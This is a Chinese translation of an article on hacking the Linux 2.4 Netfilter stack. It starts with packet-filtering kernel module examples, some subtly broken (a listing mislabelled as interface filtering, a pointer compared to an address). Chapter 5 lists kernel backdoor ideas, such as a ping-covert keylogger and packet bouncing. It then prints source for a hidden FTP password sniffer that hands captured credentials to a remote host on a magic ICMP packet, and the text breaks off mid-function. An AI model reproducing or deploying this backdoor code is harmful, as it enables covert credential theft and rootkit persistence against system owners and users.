深入 Linux 内核网络堆栈

作者：bioforge alkerr@yifan.net
原名： <<Hacking the Linux Kernel Network Stack>>
翻译，修改： duanjigang <duanjigang1983@126.com>
翻译参考：raodan (raod_at_30san.com) 2003-08-22

第一章 简介

本文将描述如何利用 Linux 网络堆栈的窍门（不一定都是漏洞）来达到一些目的，或者是恶意的，或者是出于其它意图的。文中会就后门通讯对 Netfilter 钩子进行讨论，并在本地机器上实现将这个传输从基于 Libpcap 的嗅探器(sniffer)中隐藏。

Netfilter 是 2.4 内核的一个子系统。Netfilter 可以通过在内核的网络代码中使用各种钩子来实现数据包过滤，网络地址转换(NAT)和连接跟踪等网络欺骗。这些钩子被放置在内核代码段，或者静态编译进内核，或者作为一个可动态加载/卸载的可卸载模块，然后就可以注册称之为网络事件的函数（比如数据包的接收），

1.1 本文论述的内容

本文将讲述内核模块的编写者如何利用 Netfilter 的钩子来达到任何目的，以及怎样将网络传输从一个 Libpcap 的应用中隐藏掉。尽管 Linux2.4 支持对 IPV4，IPV6 以及 DECnet 的钩子,本文只提及 IPV4 的钩子。但是，对 IPV4 的大多数应用内容同样也可以应用于其他协议。出于教学目的，我们在附录 A 给出了一个可以工作的内核模块，实现基本的数据包过滤功能。针对本文中所列技术的所有开发和试验都在 Intel 机子上的 Linux2.4.5 系统上进行过。对 Netfilte 钩子行为的测试使用的是回环设备(Loopback device),以太网设备和一个点对点接口的调制解调器。

对 Netfilter 进行完全理解是我撰写本文的另一个初衷。我不能保证这篇文章所附的代码 100%的没有差错，但是所列举的所有代码我都事先测试过了。我已经饱尝了内核错误带来的磨砺，而你却不必再经受这些。同样，我不会为按照这篇文档所说的任何东西进行的作所所为带来的损失而负责。阅读本篇文章的读者最好熟悉 C 程序设计语言，并且对内核可卸载模块有一定的经验。

如果我在文中犯了任何错误的话，请告知我。我对于你们的建议和针对此文的改进或者其它的 Netfilter 应用会倾心接受。

1.2 本文不会涉及到的方面

本文并不是 Netfilter 的完全贯穿(或者进进出出的讲解)。也不是 iptables 命令的介绍。如果你想更好的学习 iptables 的命令，可以去咨询 man 手册。

让我们从介绍 Nerfilter 的使用开始吧…….

第二章　各种 Net-Filter 钩子及其用法

2.1 Linux 内核对数据包的处理

我将尽最大努力去分析内核处理数据包的详细内幕，然而对于事件触发处理以及之后的 Netfilter 钩子不做介绍。原因很简单，因为 Harald Welte 关于这个已经写了一篇再好不过的文章<<Journey of a Packet Through the Linux 2.4 Network Stack>>,如果你想获取更多关于 Linux 对数据包的相关处理知识的话，我强烈建议你也阅读一下这篇文章。目前，就认为数据包只是经过了 Linux 内核的网络堆栈，它穿过几层钩子,在经过这些钩子时，数据包被解析，保留或者丢弃。这就是所谓的 Netfilter 钩子。

2.2 Ipv4 中的 Net-filter 钩子

Netfilter 为 IPV4 定义了 5 个钩子。可以在 linux/netfilter-ipv4.h 里面找到这些符号的定义，表 2.1 列出了这些钩子。

表 2.1. ipv4 中定义的钩子

钩子名称	调用时机
NF_IP_PRE_ROUTING	完整性校验之后，路由决策之前
NF_IP_LOCAL_IN	目的地为本机，路由决策之后
NF_IP_FORWARD	数据包要到达另外一个接口去
NF_IP_LOCAL_OUT	本地进程的数据，发送出去的过程中
NF_IP_POST_ROUTING	向外流出的数据上线之前

NF_IP_PRE_ROUTING 钩子称为是数据包接收后第一个调用的钩子程序，这个钩子在我们后面提到的模块当中将会被用到。其他的钩子也很重要，但是目前我们只集中探讨 NF_IP_PRE_ROUTING 这个钩子。

不管钩子函数对数据包做了哪些处理，它都必须返回表 2.2 中的一个预定义好的 Netfilter 返回码。

表 2.2 Netfilter 返回码

返回码	含义
NF_DROP	丢弃这个数据包
NF_ACCEPT	保留这个数据包
NF_STOLEN	忘掉这个数据包
NF_QUEUE	让这个数据包在用户空间排队
NF_REPEAT	再次调用这个钩子函数

NF_DROP 表示要丢弃这个数据包，并且为这个数据包申请的所有资源都要得到释放。NF_ACCEPT 告诉 Netfilter 到目前为止，这个数据包仍然可以被接受，应该将它移到网络堆栈的下一层。NF_STOLEN 是非常有趣的一个返回码，它告诉 Netfilter 让其忘掉这个数据包。也就是说钩子函数会在这里对这个数据包进行完全的处理，而 Netfilter 就应该放弃任何对它的处理了。然而这并不意味着为该数据包申请的所有资源都要释放掉。这个数据包和它各自的 sk_buff 结构体依然有效，只是钩子函数从 Netfilter 夺取了对这个数据包的掌控权。不幸的是，我对于 NF_QUEUE 这个返回码的真实作用还不是很清楚，所在目前不对它进行讨论。最后一个返回值 NF_REPEAT 请求 Netfilter 再次调用这个钩子函数，很明显，你应该慎重的应用这个返回值，以免程序陷入死循环。

第三章　注册和注销 Net-Filter 钩子

注册一个钩子函数是一个围绕 nf_hook_ops 结构体的很简单的过程，在 linux/netfilter.h 中有这个结构体的定义，定义如下：

```
struct nf_hook_ops
{
        struct list_head list;
```

```
        /* User fills in from here down. */
        nf_hookfn *hook;
        int pf;
        int hooknum;
        /* Hooks are ordered in ascending priority. */
        int priority;
};
```

这个结构体的成员列表主要是用来维护注册的钩子函数列表的，对于用户来说，在注册时并没有多么重要。hook 是指向 nf_hookfn 函数的指针。也就是为这个钩子将要调用的所有函数。nf_hookfn 同样定义在 linux/netfilter.h 这个文件中。pf 字段指定了协议簇(protocol family)。Linux/socket.h 中定义了可用的协议簇。但是对于 IPV4 我们只使用 PF_INET。hooknum 域指名了为哪个特殊的钩子安装这个函数，也就是表 2.1 中所列出的条目中的一个。Priority 域表示在运行时这个钩子函数执行的顺序。为了演示例子模块，我们选择 NF_IP_PRI_FIRST 这个优先级。

注册一个 Netfilter 钩子要用到 nf_hook_ops 这个结构体和 nf_register_hook()函数。nf_register_hook()函数以一个 nf_hook_ops 结构体的地址作为参数，返回一个整型值。如果你阅读了 net/core/netfilter.c 中 nf_register_钩子()的源代码的话，你就会发现这个函数只返回了一个 0。下面这个例子注册了一个丢弃所有进入的数据包的函数。这段代码同时会向你演示 Netfilter 的返回值是如何被解析的。

代码列表 1. Netfilter 钩子的注册

```
/* Sample code to install a Netfilter hook function that will
* drop all incoming packets. */
#define __KERNEL__
#define MODULE
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>

/* This is the structure we shall use to register our function */

static struct nf_hook_ops nfho;

/* This is the hook function itself */

unsigned int hook_func(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
```

```
const struct net_device *out,
int (*okfn)(struct sk_buff *))
{
return NF_DROP;                    /* Drop ALL packets */
}

/* Initialisation routine */
int init_module()
{

/* Fill in our hook structure */
nfho.hook = hook_func;                /* Handler function */
nfho.hooknum    = NF_IP_PRE_ROUTING; /* First hook for IPv4 */
nfho.pf             = PF_INET;
nfho.priority = NF_IP_PRI_FIRST;      /* Make our function first */
nf_register_hook(&nfho);
return 0;
}

/* Cleanup routine */
void cleanup_module()
{
nf_unregister_hook(&nfho);
}
```

这就是注册所要做的一切。从代码列表 1 你可以看到注销一个 Netfilter 钩子也是很简单的一件事情，只需要调用 nf_unregister_hook()函数，并将注册时用到的结构体地址再次作为注销函数参数使用就可以了。

第四章　基本的 NetFilter 数据包过滤技术

4.1 钩子函数近距离接触

现在是我们来查看获得的数据如何传入钩子函数并被用来进行过滤决策的时候了。所以，我们需要更多的关注于 nf_hookfn 函数的模型。Linux/netfilter.h 给出了如下的接口定义：

```
typedef unsigned int nf_hookfn(unsigned int hooknum,
                               struct sk_buff **skb,
                               const struct net_device *in,
                               const struct net_device *out,
                               int (*okfn)(struct sk_buff *));
```

nf_hookfn 函数的第一个参数指定了表 2.1 给出的钩子类型中的一种。第二个参数更有

趣，它是一个指向指针(这个指针指向一个 sk_buff 类型的结构体)的指针，它是网络堆栈用来描述数据包的结构体。这个结构体定义在 linux/skbuff.h 中，由于这个结构体的定义很大，这里我只着重于它当中更有趣的一些域。

或许 sk_buff 结构体中最有用的域就是其中的三个联合了，这三个联合描述了传输层的头信息(例如 UDP，TCP，ICMP，SPX)，网络层的头信息（例如 ipv4/6, IPX, RAW）和链路层的头信息（Ethernet 或者 RAW）。三个联合相应的名字分别为：h，nh 和 mac。根据特定数据包使用的不同协议，这些联合包含了不同的结构体。应当注意，传输层的头和网络层的头极有可能在内存中指向相同的内存单元。在 TCP 数据包中也是这样的情况，h 和 nh 都是指向 IP 头结构体的指针。这就意味着，如果认为 h->th 指向 TCP 头，从而想通过 h->th 来获取一个值的话，将会导致错误发生。因为 h->th 实际指向 IP 头，等同于 nh->iph。

其他比较有趣的域就是 len 域和 data 域了。len 表示包中从 data 开始的数据总长度。因此，现在我们就知道如何通过一个 skbuff 结构体去访问单个的协议头或者数据包本身的数据。还有什么有趣的数据位对于 Netfilter 的钩子函数而言是有用的呢？

跟在 sk_buff 之后的两个参数都是指向 net_device 结构体的指针。net_devices 结构体是 Linux 内核用来描述各种网络接口的。第一个结构体，in，代表了数据包将要到达的接口，当然 out 就代表了数据包将要离开的接口。有很重要的一点必须认识到，那就是通常情况下这两个参数最多只提供一个。 例如，in 通常情况下只会被提供给 NF_IP_PRE_ROUTING 和 NF_IP_LOCAL_IN 钩子。out 通常只被提供给 NF_IP_LOCAL_OUT 和 NF_IP_POST_ROUTING 钩子。在这个阶段，我没有测试他们中的那个对于 NF_IP_FORWARD 是可用的。如果你能在废弃之前确认它们(in 和 out)不空的话，那么你很优秀。

最后，传给钩子函数的最后一个参数是一个名为 okfn 的指向函数的指针，这个函数有一个 sk_buff 的结构体作为参数，返回一个整型值。我也不能确定这个函数做什么，在 net/core/netfilter.c 中有两处对此函数的调用。这两处调用就是在函数 nf_hook_slow（）和函数 nf_reinject（）里，在这两个调用处当 Netfilter 钩子的返回值为 NF_ACCEPT 时，此函数被调用。如果有谁知道关于 okfn 更详细的信息，请告诉我。

现在我们已经对 Netfilter 接收到的数据中最有趣和最有用的部分进行了分析，下面就要开始介绍如何利用这些信息对数据包进行各种各样的过滤。

4.2 基于接口的过滤

这将是我们能做的最简单的过滤技术。是否还记得我们的钩子函数接收到的 net_device 结构体?利用 net_device 结构体中的 name 键值，我们可以根据数据包的目的接口名或者源接口名来丢弃这些数据包。为了抛弃所有发向”eth0”的数据，我们只需要比较一下“in->name”和“eth0”，如果匹配的话，钩子函数返回 NF_DROP，然后这个数据包就被销毁了。它就是这样的简单。列表 2 给出了示例代码。请注意轻量级防火墙(LWFW)会使用到这里提到的所有过滤方法。LWFW 同时还包含了一个 IOCTL 方法来动态改变自身的行为。

列表 2. 基于源接口名(网卡名)的数据过滤技术

```
/* Sample code to install a Netfilter hook function that will
* drop all incoming packets from an IP address we specify */

#define __KERNEL__
#define MODULE

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/ip.h>                    /* For IP header */
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>

/* This is the structure we shall use to register our function */
static struct nf_hook_ops nfho;

/* IP address we want to drop packets from, in NB order */
static unsigned char *drop_ip = "\x7f\x00\x00\x01";

/* This is the hook function itself */
unsigned int hook_func(unsigned int hook_num,
                       struct sk_buff **skb,
                       const struct net_device *in,
                       const struct net_device *out,
                       int (*okfn)(struct sk_buff *))
{
    struct sk_buff *sb = *skb;

    if (sb->nh.iph->saddr == drop_ip) {
        printk("Dropped packet from... %d.%d.%d.%d\n",
    *drop_ip, *(drop_ip + 1),
```

```
        *(drop_ip + 2), *(drop_ip + 3));
            return NF_DROP;
        } else {
            return NF_ACCEPT;
        }
}

/* Initialisation routine */
int init_module()
{
        /* Fill in our hook structure */
        nfho.hook       = hook_func;
        /* Handler function */
        nfho.hook_num   = NF_IP_PRE_ROUTING; /* First for IPv4 */
        nfho.pf         = PF_INET;
        nfho.priority = NF_IP_PRI_FIRST;      /* Make our func first */

        nf_register_hook(&nfho);

        return 0;
}

/* Cleanup routine */
 void cleanup_module()
 {
        nf_unregister_hook(&nfho);
 }
```

现在看看，是不是很简单？下面让我们看看基于 IP 地址的过滤技术。

4.3 基于 IP 地址的过滤

类似基于接口的数据包过滤技术，基于源/目的 IP 地址的数据包过滤技术也很简单。这次我们对 sk_buff 结构体比较感兴趣。现在应该记起来，Skb 参数是一个指向 sk_buff 结构体的指针的指针。为了避免运行时出现错误，通常有一个好的习惯就是另外声明一个指针指向 sk_buff 结构体的指针，把它赋值为双重指针所指向的内容，像这样：

```
struct sk_buff *sb = *skb;        /* Remove 1 level of indirection* /
```

然后你只需要引用一次就可以访问结构体中的成员了。可以使用 sk_buff 结构体中的网络层头信息来获取此数据包的 IP 头信息。这个头包含在一个联合中，可以通过 sk_buff->nh.iph 来获取。列表 3 的函数演示了当给定一个数据包的 sk_buff 结构时，如何根

据给定的要拒绝的 IP 对这个数据包进行源 IP 地址的检验。这段代码是直接从 LWFW 中拉出来的。唯一的不同之处就是 LWFW 中对 LWFW 统计量的更新被去掉了。

列表 3.检测接收到数据包的源 IP 地址

```
unsigned char *deny_ip = "\x7f\x00\x00\x01";    /* 127.0.0.1 */


    ...
        static int check_ip_packet(struct sk_buff *skb)
        {
            /* We don't want any NULL pointers in the chain to
             * the IP header. */
            if (!skb )return NF_ACCEPT;
            if (!(skb->nh.iph)) return NF_ACCEPT;
            if (skb->nh.iph->saddr == *(unsigned int *)deny_ip)
            {
               return NF_DROP;
             }
             return NF_ACCEPT;
        }
```

如果源 IP 地址与我们想抛弃数据包的 IP 地址匹配的话，数据包就会被丢弃。为了使函数能正常工作，deny_ip 的值应该以网络字节序的方式存储（与 intel 相反的 Big-endian 格式）。尽管这个函数在被调用的时候有一个空指针作参数这种情况不太可能，但是稍微偏执（小心）一点总不会有什么坏处。当然，如果调用时出现了差错的话，函数将会返回一个 NF_ACCEPT 值，以便于 Netfilter 能够继续处理这个数据包。列表 4 展现了一个简单的基于 IP 地址的数据包过滤的模块，这个模块是由基于接口的过滤模块修改得到的。你可以修改 IP 地址来实现对指定 IP 地址发来的数据包的丢弃。

列表 4. 基于数据包源 IP 地址的过滤技术

```
        /* Sample code to install a Netfilter hook function that will
        * drop all incoming packets from an IP address we specify */


        #define __KERNEL__
```

```
#define MODULE
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/ip.h>                    /* For IP header */
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>

/* This is the structure we shall use to register our function */
static struct nf_hook_ops nfho;

/* IP address we want to drop packets from, in NB order */
static unsigned char *drop_ip = "\x7f\x00\x00\x01";

/* This is the hook function itself */
unsigned int hook_func(unsigned int hooknum,
                       struct sk_buff **skb,
                       const struct net_device *in,
                       const struct net_device *out,
                       int (*okfn)(struct sk_buff *))
{
    struct sk_buff *sb = *skb;

    if (sb->nh.iph->saddr == drop_ip) {
        printk("Dropped packet from... %d.%d.%d.%d\n",
    *drop_ip, *(drop_ip + 1),
    *(drop_ip + 2), *(drop_ip + 3));
        return NF_DROP;
    } else {
        return NF_ACCEPT;
```

```
        }
    }

    /* Initialisation routine */
    int init_module()
    {
        /* Fill in our hook structure */
        nfho.hook         = hook_func;
        /* Handler function */
        nfho.hooknum    = NF_IP_PRE_ROUTING; /* First for IPv4 */
        nfho.pf           = PF_INET;
        nfho.priority = NF_IP_PRI_FIRST;      /* Make our func first */
        nf_register_hook(&nfho);
        return 0;
    }
    /* Cleanup routine */
    void cleanup_module()
    {
        nf_unregister_hook(&nfho);
    }
```

4.4 基于 TCP 端口的过滤

另外一个要执行的简单的规则就是基于 TCP 目的端口的数据包过滤。这比检验 IP 地址稍微复杂一点，因为我们要自己创建一个指向 TCP 头的指针。还记得前面关于传输层头和网络层头所做的讨论吗？获得一个 TCP 头指针很简单，只需要申请一个指向 tcphdr(定义在 linux/tcp.h 中)结构体的指针，并将它指向包数据中的 IP 头后面。或许一个例子就可以了。列表 5 展示了怎样检测一个数据包的 TCP 目的端口与我们想丢弃数据的指定端口是否一致。与列表 3 一样，这段代码也是从 LWFW 中拿出来的

列表 5. 检测接收到数据包的 TCP 目的端口

```
unsigned char *deny_port = "\x00\x19";      /* port 25 */
        ...
            static int check_tcp_packet(struct sk_buff *skb)
            {
                struct tcphdr *thead;
                /* We don't want any NULL pointers in the chain
                 * to the IP header. */
                if (!skb ) return NF_ACCEPT;
                if (!(skb->nh.iph)) return NF_ACCEPT;
                /* Be sure this is a TCP packet first */
                if (skb->nh.iph->protocol != IPPROTO_TCP) {
                    return NF_ACCEPT;
                }
                thead = (struct tcphdr *)(skb->data    + (skb->nh.iph->ihl * 4));
                /* Now check the destination port */
                if ((thead->dest) == *(unsigned short *)deny_port) {
                    return NF_DROP;
                }
            return NF_ACCEPT;
            }
```

世纪上非常简单。不要忘了 deny_port 是网络字节序时，这个函数才能工作。数据包过滤技术的基础就是：对于一个特定的数据包，你必须对怎样到达你想要的信息段的方法非常了解。下面，我们将进入更有趣的世界。

第五章　Net-Filter 钩子其他可能的用法

在这里我将会就 Netfilter 在其它方面的更有趣的应用给你作一些建议。在 5.1 我会给你提供一些思想源泉。5.2 节将会讨论并提供能运行的代码，这个代码使一个基于内核的 FTP 密码嗅探器，能够远程获取密码。事实上，它运行的很好以至于我有些惊恐，所以将它写了出来。

5.1 隐藏后门守护进程

内核模块编程实际上是 Linux 开发最有意思的领域之一。在内核中写代码意味着你在一个只被你的想象力限制的地方写代码。从恶意一点的观点来思考，你可以隐藏一个文件，一个进程，或者说你能做任何 rootkit 能实现的很酷的事情。或者说从不太恶意(有这种观点的人)的观点来说，你可以隐藏文件，进程，和各种各样很酷的动作，内核真正是一个很迷人的地方。

拥有一个内核级的程序员所具有的所有能力，许多事情都是可能的。或许最有趣（对于系统管理员来说这可是很恐怖的事情）的一件事情就是在内核植入一个后门程序。毕竟，当一个后门没有作为进程而运行的时候，你怎么会知道它在运行？当然肯定存在一些可以使你的内核能够嗅到这些后门的方法,但是这些方法却绝不会象运行 PS 命令那样的简单。将后门代码植入内核中并不是一个很新的话题。我这里要讲的，却是利用(你能够猜到的)Netfilter 钩子植入简单的网络服务，将之作为内核后门。

如果你有必要的技能并且愿意承担在做实验时将你的内核导致崩溃的风险的话，你可以构造一个简单而有用的网络服务，将能够完全的装入内核并能进行远程访问。基本上说，Netfilter 可以从所有接收到的数据包中查找指定的“神秘”数据包，当这个神秘的数据包被接收到的时候，可以进行一些特殊的处理。结果可以通过 Netfilter 钩子函数发送出去，Netfilter 钩子函数然后返回一个 NF_STOLEN 结果以便这个神秘的数据包不会被继续传递下去。但是必须注意一点，以这样的方式来发送输出数据的时候，向外发送的数据包对于输出 Netfilter 钩子函数仍然是可见的。因此对于用户空间来说，完全看不到这个“神秘”数据包曾经来过，但是他们却能够看到你发送出来的数据。你必须留意，泄密主机上的 Sniffer 程序不能发现这个数据包并不意味着中间的宿主机上的嗅探器(sniffer)也不能发现这个数据包。

Kossak 和 lifeline 曾为 Phrack 杂志写过一篇精彩的文章，文中描述了如何通过注册数据包类型处理器的方法来坐这些事情。虽然这片文章是关于 Netfilter 钩子的，我还是强烈建议你阅读一下那片文章(Issue 55, file 12)，这片文章非常有趣，向你展示了很多有趣的思想。

那么，后门的 Netfilter 钩子到底能做哪种工作呢？好的，下面给出一些建议：

-------远程访问的击键记录器。模块会记录键盘的点击并在远程客户机发送一个 Ping 包的时候，将结果发送给客户机。因此，一连串的击键记录信息流会被伪装成稳定的 Ping 包返回流发送回来。你也可以进行简单的加密以便按键的 ASC 值不会马上暴露出来，一些警觉的系统管理员回想：“坚持，我以前都是通过 SSH 会话来键入这些的，Oh $%@T%&!”

--------简单的管理任务，例如获取机器当前的登录用户列表，或者获取打开的网络连接信息。

--------一个并非真正的后门，而是位于网络边界的模块，并且阻挡任何被疑为来自特洛伊木马、ICMP 隐蔽通道或者像 KaZaa 这样的文件共享工具的通信。

--------文件传输服务器。我最近已经实现了这个想法。最终得到的 Linux 内核模块会给你带来数小时的愉悦。

--------数据包跳跃。将发送到装有后门程序主机的特定端口的数据重新定向到另外一个 IP 主机的不同端口。并且将这个客户端发送的数据包返回给发起者。没有创建进程，最妙的是，没有打开网络套接字。

--------利用上面说到的数据包跳跃技术已以一种半传输的方式实现与网络上关键系统的交互。例如配置路由等。

--------FTP/POP3/Telnet 的密码嗅探器。嗅探向外发送的密码并保存起来，直到神秘数据包到来所要这些信息的时候，就将它发送出去。

好了，上面是一些简单的思想列表。最后一个想法将会在下一节中进行详细的介绍，因为这一节为读者提供了一个很好的机会，使得我们能够接触更多的内核内部的网段络代码。

5.2 基于内核的 FTP 密码获取 Sniffer

针对前面谈到的概念，这里给出了一个例证—一个后门 Netfilter 程序。这个模块嗅探流向服务器的外出的 FTP 数据包，寻找 USER 和 PASSWD 命令对，当获取到一对用户名和密码时，模块就会等待一个神秘的并且有足够大空间能存储用户名和密码的 ICMP 包（Ping 包）的到来，收到这个包后，模块会将用户名和密码返回。很快的发送一个神秘的数据包，获取回复并且打印信息。一旦一对用户名和密码从模块中读走都，模块便会开始下一对数据的嗅探。注意模块平时最多能存储一对信息。已经大致介绍过了，我们现在对模块具体怎样工作进行详尽的讲解。当模块被加载的时候，init_module()函数简单的注册两个 Netfilter 钩子。第一个钩子负责从进入的数据包（在 NF_IP_PRE_ROUTING 时机调用）中寻找神秘的 ICMP 数据包。另外一个负责监视离开（在 NF_IP_POST_ROUTING 时调用）安装本模块的机器的数据包。在这里寻找和俘获 FTP 的登录用户名和密码，cleanup_module()负责注销这两个钩子。

watch_out()函数是在 NF_IP_POST_ROUTING 时调用的钩子函数。看一下这个函数你就

会发现它的动作很简单。当一个数据包进入的时候，它会被经过多重的检测以便确认这个数据包是否是一个 FTP 数据包。如果不是一个 FTP 数据包，将会立即返回一个 NF_ACCEPT。如果是一个 FTP 数据包，模块会确认是否已经获取并存储了一对用户名和密码。如果已经存储了的话(这时 have_pari 变量的值非零)，那么就会返回一个 NF_ACCPET 值，并且数据包最终可以离开这个系统。否则的话，check_ftp()方法将会被调用。通常在这里密码被提取出来，如果以前没有接收到数据包的话，target_ip 和 target_port 这两个变量将会被清空。

Check_ftp()一开始在数据段的开头寻找“USER”，“PASS”或者“QUIT”字段。注意，在没有“USER”字段被处理之前通常不处理“PASS”字段。这是为了防止在收到密码后连接断开，而这时没有获取到用户名，就会陷入锁中。同样，当收到一个“QUIT”字段时，如果这时只有一个“USER”字段的话，就将所有变量复位，以便于 Sniffer 能继续对新的连接进行嗅探。当“PASS”或者“USER”命令被收到时，在必要的完整性校验之后，命令的参数会被拷贝下来。通常操作中都是在 check_ftp()函数结束之前，检验有无用户名和密码者两个命令字段。如果有的话，have_pair 会被设置，并且在这对数据被取走之前不会再次获取新的用户名和密码。

到目前为止你已经知道了这个模块怎样安装自己并且查找用户名和密码并记录下来。下面你将会看到“神秘”数据包到来时会发生什么。在这块儿要特别留意，因为开发中的大多数问题会在此处出现。如果没有记错的话，我在这里遇到了 16 个内核错误。当数据到达安装此模块的机器时，watch_in()将会检查每一个数据包看他是否是一个神秘的数据包。如果数据包没有满足被判定为神秘数据包的条件的话，watch_in()会简单的返回一个 NF_ACCEPT 来忽略这个数据包。注意，神秘数据包的判定标准就是这个数据包有足够的空间能够容纳 IP 地址，用户名和密码这些字符串。这样做是为了使得数据的回复更容易些。可能需要申请一个新的 sk_buff 结构体。但是要保证所有的数据域都正确却是件不容易的事情，所以你必须想办法确保这些域的键值正确无误。因此，我们在此并不创建一个新的结构体，而是直接修改请求数据包的结构，将其作为一个返回数据包。为了能正确返回，需要做几个修改。首先，IP 地址进行交换，结构体(sk_buff)中的数据包类型这个域的值要改为“PACKET_OUTGOING”，这个在 linux/if_packet.h 中定义了。第二步要确保每个链路层信息已经被包含在其中。我们接收到数据包的数据域就是链路层头信息后面的指向 sk_buff 结构体的指针，并且指向数据包中数据开头的指针传递了数据域。所以，对于需要链路层头信息的接口(以太网卡，回环设备和点对点设备的原始套结字)而言，我们的数据域指向 mac.ethernet 或者 mac.raw 结构。你可以通过检测 sb->dev->type 的值(sb 是指向 sk_buff 结构

体的指针)的值来判断这个数据包进入了什么类型的接口。你可以在 linux/ip_arp.h 中找到这些有效的值。最有用的都在表三列了出来。

表三.常见接口（网卡）类型

类型码	接口类型
ARPHRD_ETHER	以太网卡
ARPHRD_LOOPBACK	回环设备
ARPHRD_PPP	点对点设备（如集线器）

要做的最后一件事就是把我们要发送的数据包拷贝到返回的消息里面去，然后就该发送数据包了。函数 dev_queue_xmit()使用一个指向 sk_buff 结构体的指针作为唯一的参数，在发送明显失败时返回一个负的错误码（一个负值）。这里“明显”的失败指什么呢？这样的，如果你给这个函数一个构造的坏的套接字缓冲，你并不会得到一个明显的失败。当出现内核错误或者内核栈溢出时就产生了一个明显的失败。这下知道错误怎样被划分为两类了吧？最后 watch_in()返回一个 NF_STOLEN 告诉 Netfilter 让它忘记曾经看几过这个数据包。在调用 dev_queue_xmit()时不要返回 NF_DROP!如果你这样做了，你很快会得到一个肮脏的内核错误。因为 dev_queue_xmit()会释放掉传递进去的套接字缓冲区，而 Netfilter 却会尝试去对已经释放掉的数据包做相同的事情。好了，代码的讨论已经足够了，现在是看代码的时候了。

5.2.1 nsniffer 的代码

```
/* Simple proof-of-concept for kernel-based FTP password sniffer.
  * A captured Username and Password pair are sent to a remote host
  * when that host sends a specially formatted ICMP packet. Here we
  * shall use an ICMP_ECHO packet whose code field is set to 0x5B
  * *AND* the packet has enough
  * space after the headers to fit a 4-byte IP address and the
  * username and password fields which are a max. of 15 characters
  * each plus a NULL byte. So a total ICMP payload size of 36 bytes. */

  /* Written by bioforge,    March 2003 */

#define MODULE
#define __KERNEL__
```

```
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>

#define MAGIC_CODE      0x5B
#define REPLY_SIZE      36

#define ICMP_PAYLOAD_SIZE    (htons(sb->nh.iph->tot_len) \
                              - sizeof(struct iphdr) \
                              - sizeof(struct icmphdr))

/* THESE values are used to keep the USERname and PASSword until
  * they are queried. Only one USER/PASS pair will be held at one
  * time and will be cleared once queried. */
static char *username = NULL;
static char *password = NULL;
static int    have_pair = 0;        /* Marks if we already have a pair */

/* Tracking information. Only log USER and PASS commands that go to the
  * same IP address and TCP port. */
static unsigned int target_ip = 0;
static unsigned short target_port = 0;

/* Used to describe our Netfilter hooks */
struct nf_hook_ops    pre_hook;               /* Incoming */
struct nf_hook_ops    post_hook;              /* Outgoing */


/* Function that looks at an sk_buff that is known to be an FTP packet.
  * Looks for the USER and PASS fields and makes sure they both come from
  * the one host as indicated in the target_xxx fields */
static void check_ftp(struct sk_buff *skb)
{
```

```
struct tcphdr *tcp;
char *data;
int len = 0;
int i = 0;

tcp = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4));
data = (char *)((int)tcp + (int)(tcp->doff * 4));

/* Now, if we have a username already, then we have a target_ip.
  * Make sure that this packet is destined for the same host. */
if (username)
    if (skb->nh.iph->daddr != target_ip || tcp->source != target_port)
        return;

/* Now try to see if this is a USER or PASS packet */
if (strncmp(data, "USER ", 5) == 0) {                    /* Username */
      data += 5;

      if (username)    return;

      while (*(data + i) != '\r' && *(data + i) != '\n'
            && *(data + i) != '\0' && i < 15) {
    len++;
    i++;
      }

      if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)
  return;
      memset(username, 0x00, len + 2);
      memcpy(username, data, len);
      *(username + len) = '\0';                  /* NULL terminate */
} else if (strncmp(data, "PASS ", 5) == 0) {      /* Password */
      data += 5;

      /* If a username hasn't been logged yet then don't try logging
        * a password */
      if (username == NULL) return;
      if (password)    return;

      while (*(data + i) != '\r' && *(data + i) != '\n'
            && *(data + i) != '\0' && i < 15) {
    len++;
    i++;
      }
```

```
            if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL)
         return;
            memset(password, 0x00, len + 2);
            memcpy(password, data, len);
            *(password + len) = '\0';                   /* NULL terminate */
        } else if (strncmp(data, "QUIT", 4) == 0) {
            /* Quit command received. If we have a username but no password,
              * clear the username and reset everything */
            if (have_pair)    return;
            if (username && !password) {
           kfree(username);
           username = NULL;
           target_port = target_ip = 0;
           have_pair = 0;

           return;
             }
        } else {
            return;
        }

        if (!target_ip)
           target_ip = skb->nh.iph->daddr;
        if (!target_port)
           target_port = tcp->source;

        if (username && password)
           have_pair++;                     /* Have a pair. Ignore others until
                                    * this pair has been read. */
//      if (have_pair)
//          printk("Have password pair!    U: %s      P: %s\n", username, password);
}

/* Function called as the POST_ROUTING (last) hook. It will check for
  * FTP traffic then search that traffic for USER and PASS commands. */
static unsigned int watch_out(unsigned int hooknum,
                              struct sk_buff **skb,
                              const struct net_device *in,
                              const struct net_device *out,
                              int (*okfn)(struct sk_buff *))
{
        struct sk_buff *sb = *skb;
        struct tcphdr *tcp;
```

```
    /* Make sure this is a TCP packet first */
    if (sb->nh.iph->protocol != IPPROTO_TCP)
        return NF_ACCEPT;                       /* Nope, not TCP */

    tcp = (struct tcphdr *)((sb->data) + (sb->nh.iph->ihl * 4));

    /* Now check to see if it's an FTP packet */
    if (tcp->dest != htons(21))
        return NF_ACCEPT;                       /* Nope, not FTP */

    /* Parse the FTP packet for relevant information if we don't already
     * have a username and password pair. */
    if (!have_pair)
        check_ftp(sb);

    /* We are finished with the packet, let it go on its way */
    return NF_ACCEPT;
}


/* Procedure that watches incoming ICMP traffic for the "Magic" packet.
 * When that is received, we tweak the skb structure to send a reply
 * back to the requesting host and tell Netfilter that we stole the
 * packet. */
static unsigned int watch_in(unsigned int hooknum,
                             struct sk_buff **skb,
                             const struct net_device *in,
                             const struct net_device *out,
                             int (*okfn)(struct sk_buff *))
{
